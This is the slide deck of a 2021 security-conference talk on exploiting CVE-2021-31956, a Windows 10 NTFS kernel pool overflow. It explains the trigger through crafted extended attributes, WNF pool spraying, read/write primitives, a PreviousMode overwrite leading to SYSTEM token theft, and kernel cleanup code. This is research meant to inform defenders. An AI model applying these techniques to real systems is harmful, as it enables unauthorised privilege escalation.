Pwning the Windows 10 Kernel with NTFS and WNF - POC 2021
Introduction
About

- Currently a Security Researcher within NCC Exploit Development Group (EDG).
- Supported by other team members at NCC (Cedric Halbronn and Aaron Adams).
- Previously won some Pwn2Own's (2018 Apple Safari / 2017 Huawei Mate Pro etc)
- Research interests primarily platform security (OS's/Mobile/Browser/Embedded etc)
- Twitter @alexjplaskett
Background

- A Windows local kernel priv escalation [CVE-2021-31956](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31956) vulnerability affecting a large range of versions
- Based on a vulnerability found exploited in the wild by [Boris Larin](https://www.kaspersky.com/larin) of [Kaspersky](https://www.kaspersky.com)
- Challenges around exploit development on latest Windows 10 version at the time - 20H2 (Segment Heap etc)
- Provide tangible info to defenders and help enhance mitigations
- Offensive research is necessary to defend against advanced threats
Agenda

- Vulnerability Overview
- WNF Introduction
- WNF Exploit Primitives
- Exploitation without CVE-2021-31955
- Post Exploitation
- Reliability and Cleanup
- Exploit Testing
- Detection
Vulnerability Overview
NTFS Vulnerability Details
Vulnerability Details

- To exploit a vulnerability we first need a good understanding of the issue.
- Kaspersky had done a lot of the initial triage in their blog.
- However, from an exploit developer perspective, we need to understand all the constraints and flexibility it offers.
- In this case "is it a good memory corruption?" and what challenges would need addressed.
- Actually a fun challenge as other vulns could be more reliable in practice.
Vulnerability Details

```c
__int64 __fastcall NtfsQueryEaUserEaList(__int64 a1, __int64 eas_blocks_for_file, __int64 a3, __int64 out_buf, unsigned int out_buf_length, unsigned int *a6, char a7)
{
    unsigned int padding; // er15
    padding = 0;

    for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )
    {
        if ( i == v11 )
        {
            v15 = occupied_length;
            out_buf_pos = (DWORD *)(out_buf + padding + occupied_length);
            if ( (unsigned __int8)NtfsLocateEaByName(
                    ea_blocks_for_file,
                    *(unsigned int *)(a3 + 4),
                    &DestinationString,
                    &ea_block_pos) )
            {
                ea_block = (FILE_FULL_EA_INFORMATION *)(ea_blocks_for_file + ea_block_pos);
                ea_block_size = ea_block->EaNameLength + ea_block->EaValueLength + 9; // Attacker controlled from Ea
                if ( ea_block_size <= out_buf_length - padding ) // The check which can underflow
                {
                    memmove(out_buf_pos, ea_block, ea_block_size);
                    *out_buf_pos = 0;
                    goto LABEL_8;
                }
            }
        }
        goto LABEL_7;
    }
    ...
```
Vulnerability Details

```
*(_BYTE *)out_buf_pos + *((unsigned __int8 *)v11 + 4) + 8) = 0;

LABEL_8:

v18 = ea_block_size + padding + v15;
occupied_length = v18;
if ( !a7 )
{
    if ( v23 )
        *v23 = (DWORD)out_buf_pos - (DWORD)v23;
    if ( *v11 )
    {
        v23 = out_buf_pos;
        out_buf_length -= ea_block_size + padding;
        padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
        goto LABEL_24;
    }
}

LABEL_12:
```
Vulnerability Details

- Lets put some sample numbers into this.
- Assume two EA's so two iterations of the loop.
- First iteration:

  \[
  \begin{align*}
  \text{EaNameLength} &= 5 \\
  \text{EaValueLength} &= 4 \\
  \text{ea\_block\_size} &= 9 + 5 + 4 = 18 \\
  \text{padding} &= 0
  \end{align*}
  \]

  So assuming that \(18 < \text{out\_buf\_length} - 0\), data would be copied into the buffer. We will use 30 for this example.

  \[
  \begin{align*}
  \text{out\_buf\_length} &= 30 - 18 + 0 \\
  \text{out\_buf\_length} &= 12 // \text{we would have 12 bytes left of the output buffer.} \\
  \text{padding} &= ((18+3) & \text{0xFFFFFFF}C) - 18 \\
  \text{padding} &= 2
  \end{align*}
  \]
Vulnerability Details

- Assume second extended attribute with the same values

\[
\begin{align*}
\text{EaNameLength} &= 5 \\
\text{EaValueLength} &= 4 \\
\text{ea\_block\_size} &= 9 + 5 + 4 = 18
\end{align*}
\]

- At this point padding is 2, so the calculation is:

\[
18 \leq 12 - 2 \ // \text{is False.}
\]

- Second memcpy fails as it would overflow the buffer.
Vulnerability Details

- So let’s consider an overflowing case (when output buffer size is 18).

- **First EA:**

  ```
  EaNameLength = 5
  EaValueLength = 4
  ```

- **Second Ea:**

  ```
  EaNameLength = 5
  EaValueLength = 47
  ```

- **First iteration the loop:**

  ```
  EaNameLength = 5
  EaValueLength = 4
  
eablock_size = 9 + 5 + 4 // 18
  padding = 0 // First time into the loop
  ```
Vulnerability Details

- $18 <= 18 - 0$ // is True and a copy of 18 occurs.
  
  ```
  out_buf_length = 18 - 18 + 0
  out_buf_length = 0 // out_buf_len has been decremented (0 bytes left).
  
  padding = ((18+3) & 0xFFFFFFFC) - 18
  padding = 2
  ```

- Second iteration of loop:
  
  ```
  EaNameLength = 5
  EaValueLength = 47
  
  ea_block_size = 5 + 47 + 9
  ea_block_size = 61
  ```

- Check is:
  
  ```
  ea_block_size <= out_buf_length - padding
  61 <= 0 - 2
  ```

- Therefore we have overflowed the buffer by 43 bytes (61-18) due to the check wrapping.
Vulnerability Details

- Next Questions are:
  - Where is the buffer allocated?
  - Can we control the contents of the overflow?
- The allocation NtfsCommonQueryEa:

```c
if ( (DWORD)out_buf_length )
{
    out_buf = (PVOID)NtfsMapUserBuffer(a2, 16164);
    v28 = out_buf;
    v16 = (unsigned int)out_buf_length;
    if ( *(_BYTE *)(a2 + 64) )
    {
        v35 = out_buf;
        // PagedPool allocation
        out_buf = ExAllocatePoolWithTag((POOL_TYPE)(PoolType | 0x10), (unsigned int)out_buf_length, 0x4546744Eu);
        v28 = out_buf;
        v24 = 1;
        v16 = out_buf_length;
    }
    memset(out_buf, 0, v16);
    v15 = v43;
    LOBYTE(v12) = v25;
}
```
Triggering the Corruption

- To answer the second question we need to look at how to trigger the overflow.
- Looking at the callers for NtfsCommonQueryEa we can see NtQueryEaFile as NT syscall.

```
NTSTATUS NtQueryEaFile(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length,
    BOOLEAN          ReturnSingleEntry,
    PVOID            EaList,
    ULONG            EaListLength,
    PULONG           EaIndex,
    BOOLEAN          RestartScan
);  
```

- We control the Length of the output buffer using this.
- Provided we make the Length the same size as the first EA
- And make sure that the padding is present.
- Then querying the second EA will trigger the overflow.
- But how do we construct EA's like this?
Triggering the Corruption

- `NtSetEaFile` is the way to set extended attributes

```c
NTSTATUS ZwSetEaFile(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length
);
```

Key thing here is `Buffer` which needs to be crafted correctly.
Triggering the Corruption

- Buffer is a pointer to a caller-supplied, FILE_FULL_EA_INFORMATION structured input buffer that contains the extended attribute values to be set.

```c
typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG  NextEntryOffset;
    UCHAR  Flags;
    UCHAR  EaNameLength;
    USHORT EaValueLength;
    CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
```

- NextEntryOffset must be set to the second EA at an offset which is padded to a block boundary.
- Two extended attributes, first set to the size of the output buffer, second set to the amount of data to overflow by.
- Set the file extended attributes using NtSetEaFile and then query them using NtQueryEaFile.
1. The attacker can control the data which is used within the overflow and the size of the overflow. Extended attribute values do not constrain the values which they can contain.

2. The overflow is linear and will corrupt any adjacent pool chunks.

3. The attacker has control over the size of the pool chunk allocated.

This is a good overflow for exploitation! :)

Vulnerability Summary
Windows 10 Kernel Pool Layout

- What does the Kernel Memory look like?
- Aim to cover some of the basics here
- Recommend reading the following papers:
  - Scoop the Windows 10 Pool by Corentin Bayet and Paul Fariello
  - Windows Kernel Heap by scwuaptx
  - Windows Heap Backed Pool by Yarden Shafir
Windows 10 Kernel Pool Layout

Allocator Backends:

- Low Fragmentation Heap (LFH)
- Variable Size Heap (VS)
- Segment Allocation
- Large Alloc

In this talk we are going to focus on exploitation on the LFH.
Windows 10 Kernel Pool Layout

- When I started doing this research I actually imposed more constraints that needed on myself.
- Going to talk about exploitation this way, then and improved iteration of the exploit.

Pool page ffff9a069986f3b0 region is Paged pool

<table>
<thead>
<tr>
<th>Address</th>
<th>Size</th>
<th>Previous Size</th>
<th>Allocation Status</th>
<th>Binary Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ffff9a069986f010</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f040</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>....</td>
</tr>
<tr>
<td>ffff9a069986f070</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>....</td>
</tr>
<tr>
<td>ffff9a069986f0a0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>CMNb</td>
</tr>
<tr>
<td>ffff9a069986f0d0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>CMNb</td>
</tr>
<tr>
<td>ffff9a069986f100</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Luaf</td>
</tr>
<tr>
<td>ffff9a069986f130</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
<tr>
<td>ffff9a069986f160</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
<tr>
<td>ffff9a069986f190</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f1c0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
<tr>
<td>ffff9a069986f1f0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>CMNb</td>
</tr>
<tr>
<td>ffff9a069986f220</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>CMNb</td>
</tr>
<tr>
<td>ffff9a069986f250</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f280</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
<tr>
<td>ffff9a069986f2b0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f2e0</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>CMNb</td>
</tr>
<tr>
<td>ffff9a069986f310</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f340</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
<tr>
<td>ffff9a069986f370</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>APpt</td>
</tr>
<tr>
<td>ffff9a069986f3a0</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>*NtFE</td>
</tr>
<tr>
<td>Pool tag NtFE : Ea.c, Binary : ntfs.sys</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ffff9a069986f3d0</td>
<td>30</td>
<td>0</td>
<td>(Allocated)</td>
<td>Ntf0</td>
</tr>
<tr>
<td>ffff9a069986f400</td>
<td>30</td>
<td>0</td>
<td>(Free)</td>
<td>SeSd</td>
</tr>
</tbody>
</table>
Windows 10 Kernel Pool Layout

- `_POOL_HEADER` followed by 0x12 bytes of data.
- $0x12 + 0x10 = 0x22$ rounded up to the 0x30 chunk size.
- Changing the EA sizes we can get bigger sized LFH chunks allocated.

- Can we get anything controlled adjacent?
WNF Introduction
Windows Notification Framework
WNF Introduction

- The original Kaspersky article mentioned the in-the-wild attackers were using WNF.
- This was a novel exploitation technique to enable arbitrary r/w.
- WNF is an undocumented subsystem of the Windows Kernel.
- However, there has been previous research from a how it works and logic bugs perspective.
  - [The Windows Notification Facility](#)
  - [Playing with the Windows Notification Facility](#)
- But the key things from a memory corruption perspective are:
  - Can we perform controlled allocations and free's of free's of chunks which can be adjacent?
  - Can any of the backing structures or functions be used to enable exploit primitives?
WNF Exploit Primitives
Windows Notification Framework Primitives
Controlled Page Pool Allocations

- Key observation here, that WNF allocations are made within the Paged Pool (same as the NTFS overflowing chunk)

- The data used for notifications looks like this (header followed by the data itself):

  ```c
  nt!_WNF_STATE_DATA
  +0x000 Header : _WNF_NODE_HEADER
  +0x004 AllocatedSize : Uint4B
  +0x008 DataSize : Uint4B
  +0x08c ChangeStamp : Uint4B
  ```

- Pointed at by a _WNF_NAME_INSTANCE StateData pointer:

  ```c
  nt!_WNF_NAME_INSTANCE
  +0x000 Header : _WNF_NODE_HEADER
  +0x008 RunRef : _EX_RUNDOWN_REF
  +0x010 TreeLinks : _RTL_BALANCED_NODE
  +0x028 StateName : _WNF_STATE_NAME_STRUCT
  +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
  +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
  +0x050 StateDataLock : _WNF_LOCK
  +0x058 StateData : Ptr64 _WNF_STATE_DATA
  +0x060 CurrentChangeStamp : Uint4B
  +0x068 PermanentDataStore : Ptr64 Void
  +0x070 StateSubscriptionListLock : _WNF_LOCK
  +0x078 StateSubscriptionListHead : _LIST_ENTRY
  ```

Controlled Page Pool Allocations

## Key Points
- WNF allocations are made within the Paged Pool, same as NTFS overflowing chunk.
- Data used for notifications follows a header followed by data structure.
- Pointed at by a _WNF_NAME_INSTANCE StateData pointer.
Controlled Page Pool Allocations

- NtUpdateWnfStateData calls ExpWnfWriteStateData which has the following code:

```c
v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);
```

Looking at the function prototype:

```c
extern "C"
NTSTATUS NTAPI NtUpdateWnfStateData(
    _In_  PWNF_STATE_NAME StateName,
    _In_reads_bytes_opt_(Length) const VOID * Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ const PVOID ExplicitScope,
    _In_  WNF_CHANGE_STAMP MatchingChangeStamp,
    _In_  ULONG CheckStamp
);
```

- We can see Length is our v6 value 16 (the 0x10-byte header prepended).
- Therefore using this we can perform controlled size allocations of data we control!

```c
NtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd);
NtUpdateWnfStateData(&state, buf, alloc_size, 0, 0, 0, 0);
```
Controlled Free

Initial Setup
Spray Pool with WNF Adjacent Chunks

Controlled Free
Free _WNF_STATE_DATA

ring0 - paged pool

ring0 - paged pool
Relative Memory Read

- Overflow into DataSize to corrupt the value and enable a larger memory read.

```
nt!_WNF_STATE_DATA
+0x000 Header           : _WNF_NODE_HEADER
+0x004 AllocatedSize    : Uint4B
+0x008 DataSize         : Uint4B
+0x00c ChangeStamp      : Uint4B
```

- Read the data back using `NtQueryWnfStateData`

---

**DataSize Corruption**

NTFS Chunk Corrupting WNF_STATE_DATA DataSize

- WNF Chunk
- WNF Chunk
- NTFS Chunk
- WNF Chunk
- WNF Chunk

EA 1

EA 2 Overflow

ring0 - paged pool
Relative Memory Write

- Corrupt the AllocatedSize

```c
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B

extern "C"
NTSTATUS NTAPI NtUpdateWnfStateData(
    _In_ PWNF_STATE_NAME StateName,
    _In_reads_bytes_opt_(Length) const VOID * Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ const PVOID ExplicitScope,
    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
    _In_ ULONG CheckStamp
);
```

- Code reuses existing memory allocation and thus overflows!
Arbitrary Read (Pipe Attributes Technique)

- Discussed within the [Scoop the Windows 10 Pool](#) paper.
- Relies in being able to overflow into an adjacent Pipe Attribute (also allocated on Paged Pool)
- Corrupt the list FLINK pointer and inject in fake "Pipe Attribute".
Arbitrary Write (StateData Pointer Corruption)

- Investigate if it is possible to corrupt the StateData pointer of a _WNF_NAME_INSTANCE to change relative write to arbitrary write.
- Fake sane values for DataSize and AllocatedSize
- Use ExpWnfWriteStateData to write controlled data to a controlled location.
- _WNF_NAME_INSTANCE we can see that it will be of size 0xA8 + the POOL_HEADER (0x10), so 0xB8 in size. This ends up being put into a chunk of 0xC0 within the segment pool.
StateName Lookup

- So this works to overflow the StateData pointer.
- The aim was to point StateData at the leaked EPROCESS address from CVE-2021-31955.
- However in the process we destroy other fields within the struct:

```
1: kd> dt _WNF_NAME_INSTANCE ffffd09b35c8310+0x10
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef' : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : 0x61616161`62626262 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : 0xffff8d87`686c8088 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : 1
+0x068 PermanentDataStore : (null)
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xfffffd09b35c8398 - 0xfffffd09b35c8398 ]
+0x080 TemporaryNameListEntry : _LIST_ENTRY [ 0xfffffd09b35c8ee8 - 0xfffffd09b35c8ee8 ]
+0x088 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS
```

- This means that we are now unable to lookup a WNF State to use... problem!
StateName Lookup

- How do we workaround this?
- StateName is used for the lookup.
- There is the external version of the StateName which is the internal version of the StateName XOR'd with 0x41C64E6DA3BC0074.
- For example, the external StateName value 0x41c64e6da36d9945 would become the following internally:

```
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 *((ntknlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348))
(*((ntknlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348)) [Type:_WNF_STATE_NAME_STRUCT]
    [+0x000 ( 3: 0)] Version : 0x1 [Type: unsigned __int64]
    [+0x000 ( 5: 4)] NameLifetime : 0x3 [Type: unsigned __int64]
    [+0x000 ( 9: 6)] DataScope : 0x4 [Type: unsigned __int64]
    [+0x000 (10:10)] PermanentData : 0x0 [Type: unsigned __int64]
    [+0x000 (63:11)] Sequence : 0x1a33 [Type: unsigned __int64]
1: kd> dc 0xffffdd09b35c8348
ffffdd09`b35c8348  00d19931
```

StateName is used for the lookup. There is the external version of the StateName which is the internal version of the StateName XOR'd with 0x41C64E6DA3BC0074.
StateName Lookup

```c
struct _WNF_SCOPE_INSTANCE {
    struct _WNF_NODE_HEADER Header; //0x0
    struct _EX_RUNDOWN_REF RunRef; //0x8
    enum _WNF_DATA_SCOPE DataScope; //0x10
    ULONG InstanceIdSize; //0x14
    VOID* InstanceIdData; //0x18
    struct _LIST_ENTRY ResolverListEntry; //0x20
    struct _WNF_LOCK NameSetLock; //0x30
    struct RTL_AVL_TREE NameSet; //0x38
    VOID* PermanentDataStore; //0x40
    VOID* VolatilePermanentDataStore; //0x48
};

_QWORD *__fastcall ExpWnfFindStateName(__int64 scopeinstance, unsigned __int64 statename)
{
    _QWORD *i; // rax
    for ( i = *(QWORD **)(scopeinstance + 0x38); ; i = *(QWORD *)i[1] )
    {
        while ( 1 )
        {
            if ( !i )
                return 0i64;
            if ( statename >= i[3] )
                break;
            i = *(QWORD *)i;
        }
        if ( statename <= i[3] )
            break;
    }
    return i - 2;
}
```
StateName Forgery

- We don't know what element is going to be corrupted.
- However, with the control over the heap we can forge this.
- This is not very reliable though.
Security Descriptor

- The final thing we need to forge is the security descriptor
- Can point this to forged one within userspace.

```
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0) ((ntkrrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0) : 0xffff9e8253eca5a0
[Type: _SECURITY_DESCRIPTOR *]
[+0x000] Revision         : 0x1 [Type: unsigned char]
[+0x001] Sbz1             : 0x0 [Type: unsigned char]
[+0x002] Control          : 0x800c [Type: unsigned short]
[+0x008] Owner            : 0x0 [Type: void *]
[+0x010] Group            : 0x280002000000014 [Type: void *]
[+0x018] Sacl             : 0x1400000000000001 [Type: _ACL *]
[+0x020] Dacl             : 0x101001f00013 [Type: _ACL *]
```
CVE-2021-31955 Information Leak

- A separate information leak [vulnerability](#).
- Allows leaking the EPROCESS address from every process out.
- NtQuerySystemInformation with SUPERFETCH_INFORMATION discloses it.
- NtQuerySystemInformation only available at medium integrity.
- There's public POCs online for this now too.
EPROCESS Overwrite

- But the exploit is not very reliable.. can we improve this?
Exploitation without CVE-2021-31955
Exploit Version 2

- Aim was to exploit without using CVE-2021-31955 information leak.
- To allow exploitation from low integrity.
- To increase reliability to a high standard.
- More investigation of _WNF_NAME_INSTANCE
- Credits also to Yan ZiShuang who also published on this.
nt\_WNF\_NAME\_INSTANCE EPROCESS

+0x000 Header : __WNF\_NODE\_HEADER
+0x008 RunRef : __EX\_RUNDOWN\_REF
+0x010 TreeLinks : __RTL\_BALANCED\_NODE
+0x028 StateName : __WNF\_STATE\_NAME\_STRUCT
+0x030 ScopeInstance : Ptr64 __WNF\_SCOPE\_INSTANCE
+0x038 StateNameInfo : __WNF\_STATE\_NAME\_REGISTRATION
+0x050 StateDataLock : __WNF\_LOCK
+0x058 StateData : Ptr64 __WNF\_STATE\_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : __WNF\_LOCK
+0x078 StateSubscriptionListHead : __LIST\_ENTRY
+0x088 TemporaryNameListEntry : __LIST\_ENTRY
+0x098 CreatorProcess : Ptr64 __EPRECESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Goal Layout

Ideal Layout

NTFS Chunk Corrupting WNF_STATE_DATA DataSize next to WNF_NAME_INSTANCE

WNF Chunk  WNF Chunk  NTFS Chunk  WNF_STATE_DATA  WNF_NAME_INSTANCE

EA 1

EA 2 Overflow

StateData

CreatorProcess

ring0 - paged pool

Relative OOB Read / Write
LFH Randomisation

LFH Allocation

Sequential Pool Allocations

Alloc 3
Alloc 5
Alloc 9

Alloc 1
Alloc 7
Alloc 2

Alloc 4
Alloc 6
Alloc 8

LFH Segment
Spray and Overflow (Take 2)

- `_WNF_NAME_INSTANCE` is 0xA8 + the POOL_HEADER (0x10), so 0xB8 (Chunk size 0xC0)
- `_WNF_STATE_DATA` objects of size 0xA0 (which when added with the header 0x10 + the POOL_HEADER (0x10) we also end up with a chunk allocated of 0xC0.
- Possible corrupted data

<table>
<thead>
<tr>
<th>_WNF_NAME_INSTANCE</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x000 Header</td>
</tr>
<tr>
<td>+0x008 RunRef</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>_WNF_STATE_DATA</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x000 Header</td>
</tr>
<tr>
<td>+0x004 AllocatedSize</td>
</tr>
<tr>
<td>+0x008 DataSize</td>
</tr>
<tr>
<td>+0x00c ChangeStamp</td>
</tr>
</tbody>
</table>
Problems and Solutions

- Only want to corrupt _WNF_STATE_DATA objects first but pool segment also contains _WNF_NAME_INSTANCE due to being the same size.
  - Use only a 0x10 data size overflow and clean up afterwards.
- Unbounded _WNF_STATA_DATA could be positioned at end of chunk. NtQueryWnfStateData read would go off end of page.
  - Increase spray size
- Other OS objects using same pool subsegment (i.e. same size).
  - Large spray size means whole new subsegments segments are allocated.
Locating a _WNF_NAME_INSTANCE and overwriting the State

- At this point _WNF_STATE_DATA has been overflowed and unbounded the DataSize and AllocatedSize
- But how do we locate a _WNF_NAME_INSTANCE?
  - Each has a byte pattern "$\text{x03|x09|xa8}$" in its header.
- Therefore from this we know the start and can work out where the variables are located.
  - Disclose the CreatorProcess, StateName, StateData, ScopeInstance.
  - Use relative write to replace items.
- Goal was to enable arbitrary write but without having to worry about matching up DataSize and AllocatedSize.
  - Aiming for KTHREAD PreviousMode.
PreviousMode

- "When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode. The native system services routine checks the PreviousMode field of the calling thread to determine whether the parameters are from a user-mode source."

- MiReadWriteVirtualMemory which is called from NtWriteVirtualMemory checks to see that if PreviousMode is not set when a user-mode thread executes, then the address validation is skipped and kernel memory space addresses can be written too
Locating PreviousMode from EPROCESS

Diagram: Flowchart showing the process of locating PreviousMode from EPROCESS, with nodes labeled EPROCESS, KPROCESS, ThreadListHead, Flink, _KTHREAD, and PreviousMode.
Stage 2 Diagram

Using relative read/write to repoint StateData prior to KPROCESS ThreadListHead Flink

ring0 - paged pool

Relative QDB Read/Write

ThreadListHead Flink
Abusing PreviousMode

- Once we have set the StateData pointer of the _WNF_NAME_INSTANCE prior to the _KPROCESS ThreadListHead Flink we can leak out the value by confusing it with the DataSize and the ChangeTimestamp, we can then calculate the FLINK as $\text{FLINK} = (\text{uintptr}_t)\text{ChangeTimestamp} \ll 32 \mid \text{DataSize}$ after querying the object.

- This allows us to calculate the _KTHREAD address using $\text{FLINK} - 0x2f8$.

- Once we have the address of the _KTHREAD we need to again find a sane value to confuse with the AllocatedSize and DataSize to allow reading and writing of PreviousMode value at offset 0x232.

- In this case, pointing it into here:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Value</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x220</td>
<td>Process</td>
<td>0xfffff900f56ef0340 _KPROCESS</td>
</tr>
<tr>
<td>+0x228</td>
<td>UserAffinity</td>
<td>_GROUP_AFFINITY</td>
</tr>
<tr>
<td>+0x228</td>
<td>UserAffinityFill</td>
<td>[10]</td>
</tr>
</tbody>
</table>
Stage 3

Using relative read/write to repoint StateData prior to KTHREAD PreviousMode

ring0 - paged pool
Game Over

- After setting PreviousMode to 0, arbitrary read/write across whole memory space using `NtWriteVirtualMemory` and `NtReadVirtualMemory`.

- Trivial to either:
  - Walk the ActiveProcessLinks within the EPROCESS, obtain a pointer to a SYSTEM token and replace current token.
  - Overwrite `_SEP_TOKEN_PRIVILEGES` using common techniques long used by Windows exploits.
Reliability and Testing

Reliability and Testing

nccgroup
Reliability

- At this point exploit is successful!
- However, kernel memory can be in a bad state..
- Can lead to a BSOD quickly after.
- Need to clean up kernel memory to maintain stability.
- There's a limit to what we can actually do though.
# PreviousMode Restoration

- Simply set PreviousMode back to 1 using `NtWriteVirtualMemory`
- If we don't do this we get a crash as follows:

```plaintext
<table>
<thead>
<tr>
<th>Child-SP</th>
<th>RetAddr</th>
<th>Args to Child</th>
<th>Call Site</th>
</tr>
</thead>
<tbody>
<tr>
<td>ffff8583c6259c90</td>
<td>fffff804502f0689</td>
<td>00000195b24ec500 0000000000000000 0000000000000420 00007ff600000000 :</td>
<td>nt!PspLocateInPEManifest+0xa9</td>
</tr>
<tr>
<td>ffff8583c6259d00</td>
<td>ffff8583c625a350</td>
<td>0000000000000000 0000000000000000 : nt!PspSetupUserProcessAddressSpace+0xda</td>
<td></td>
</tr>
<tr>
<td>ffff8583c625ad0</td>
<td>fffff8045021ca6d</td>
<td>0000000000000000 ffff8583c625a350 0000000000000000 :</td>
<td>nt!PspAllocateProcess+0x11a4</td>
</tr>
<tr>
<td>ffff8583c625aa90</td>
<td>00007ffdb35cd6b4</td>
<td>0000000000000000 0000000000000000 0000000000000000 :</td>
<td>nt!KiSystemServiceCopyEnd+0x25</td>
</tr>
</tbody>
</table>
```

Access violation - code c0000005 (!!! second chance !!!)
nt!PsplocateInPEmanifest+0xa9:
`fffff804`502f1bb5 0fba68080d bts dword ptr [rax+8],0Dh
0: kd> kv

PreviousMode Restoration

Simply set PreviousMode back to 1 using `NtWriteVirtualMemory`.

If we don't do this we get a crash as follows:
StateData Pointer Restoration

- This one is more tricky.
- StateData pointer is free'd on process termination (i.e. Neds to be valid allocated address)
- Walk the Name Instance Tree and fix up
QWORD* FindStateName(unsigned __int64 StateName)
{
    QWORD* i;
    // _WNF_SCOPE_INSTANCE+0x38 (NameSet)
    for (i = (QWORD*)read64((char*)BackupScopeInstance+0x38); ; i = (QWORD*)read64((char*)i + 0x8))
    {
        while (1)
        {
            if (!i)
                return 0;
            // StateName is 0x18 after the TreeLinks FLINK
            QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);
            if (StateName >= CurrStateName)
                break;
            i = (QWORD*)read64(i);
        }
        QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);
        if (StateName <= CurrStateName)
            break;
    }
    return (QWORD*)((QWORD*)i - 2);
}
RunRef Restoration

- RunRef from _WNF_NAME_INSTANCE's in the process of obtaining our unbounded _WNF_STATE_DATA
- ExReleaseRundownProtection causes a crash because its been corrupted.
- Need to obtain a full list of _WNF_NAME_INSTANCES
- _EPROCESS WnfContext

Iterate through that and fix up.
RunRef Restoration

```c
void FindCorruptedRunRefs(LPVOID wnf_process_context_ptr) {
    // +0x040 TemporaryNamesListHead : _LIST_ENTRY
    LPVOID first = read64((char*)wnf_process_context_ptr + 0x40);
    LPVOID ptr;

    for (ptr = read64(read64((char*)wnf_process_context_ptr + 0x40)); ; ptr = read64(ptr)) {
        if (ptr == first) return;

        // +0x088 TemporaryNameListEntry : _LIST_ENTRY
        QWORD* nameinstance = (QWORD*)ptr - 17;
        QWORD header = (QWORD)read64(nameinstance);

        if (header != 0x0000000000A80903) {
            printf("Corrupted header at _WNF_NAME_INSTANCE %p?\n", nameinstance);
            printf("header %p\n", header);
